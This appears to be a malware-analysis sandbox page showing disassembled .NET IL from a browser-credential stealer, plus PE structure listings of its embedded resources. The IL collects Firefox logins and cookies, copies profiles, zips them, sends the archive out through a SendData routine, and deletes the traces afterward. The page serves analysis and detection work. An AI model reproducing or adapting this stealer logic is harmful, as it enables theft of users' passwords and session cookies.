callvirt System.Int32 System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxLogin>::get_Count()
stloc.s V_16
ldloc.s V_16
ldc.i4.0 <null>
ble.s IL_036A: call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie> chrome_v20_decryption_CSharp.Firefox::GetCookies()
ldsfld System.Int32 chrome_v20_decryption_CSharp.Program::_passwordCount
ldloc.s V_16
add <null>
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_passwordCount
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasFirefox
call System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie> chrome_v20_decryption_CSharp.Firefox::GetCookies()
callvirt System.Int32 System.Collections.Generic.List`1<chrome_v20_decryption_CSharp.Firefox/FirefoxCookie>::get_Count()
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
ble.s IL_038E: call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
ldsfld System.Int32 chrome_v20_decryption_CSharp.Program::_cookieCount
ldloc.s V_17
add <null>
stsfld System.Int32 chrome_v20_decryption_CSharp.Program::_cookieCount
ldc.i4.1 <null>
stsfld System.Boolean chrome_v20_decryption_CSharp.Program::_hasFirefox
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
call System.Void chrome_v20_decryption_CSharp.Firefox::WriteFirefoxData(System.String)
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
call System.Void chrome_v20_decryption_CSharp.Firefox::CopyFirefoxProfiles(System.String)
leave.s IL_03A7: nop
pop <null>
leave.s IL_03A7: nop
nop <null>
call System.String chrome_v20_decryption_CSharp.Program::GetOutputDirectory()
stloc.s V_18
ldloc.s V_18
call System.Boolean System.IO.Directory::Exists(System.String)
brfalse.s IL_0417: leave.s IL_0421
ldc.i4 500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_18
call System.String chrome_v20_decryption_CSharp.Program::ZipFolder(System.String)
stloc.s V_19
ldloc.s V_19
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_0409: nop
ldloc.s V_19
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0409: nop
ldloc.s V_19
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 50331648
conv.i8 <null>
stloc.s V_20
callvirt System.Int64 System.IO.FileInfo::get_Length()
ldloc.s V_20
pop <null>
pop <null>
ldloc.s V_19
call System.Void chrome_v20_decryption_CSharp.Program::SendData(System.String)
nop <null>
ldloc.s V_19
call System.Void System.IO.File::Delete(System.String)
leave.s IL_0409: nop
pop <null>
leave.s IL_0409: nop
nop <null>
ldloc.s V_18
ldc.i4.1 <null>
call System.Void System.IO.Directory::Delete(System.String,System.Boolean)
leave.s IL_0417: leave.s IL_0421
pop <null>
leave.s IL_0417: leave.s IL_0421
leave.s IL_0421: nop
callvirt System.Exception System.Exception::get_InnerException()
pop <null>
leave.s IL_0421: nop
nop <null>
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
leave.s IL_0431: leave.s IL_044C
pop <null>
leave.s IL_0431: leave.s IL_044C
leave.s IL_044C: ret
pop <null>
leave.s IL_044C: ret
nop <null>
call System.Void System.GC::Collect()
call System.Void System.GC::WaitForPendingFinalizers()
call System.Void System.GC::Collect()
leave.s IL_044B: endfinally
pop <null>
leave.s IL_044B: endfinally
endfinally <null>
ret <null>
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
costura.bouncycastle.cryptography.dll.compressed
[Authenticode]_31a7df4f.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.costura.dll.compressed
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
costura.costura.pdb.compressed
costura.metadata
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙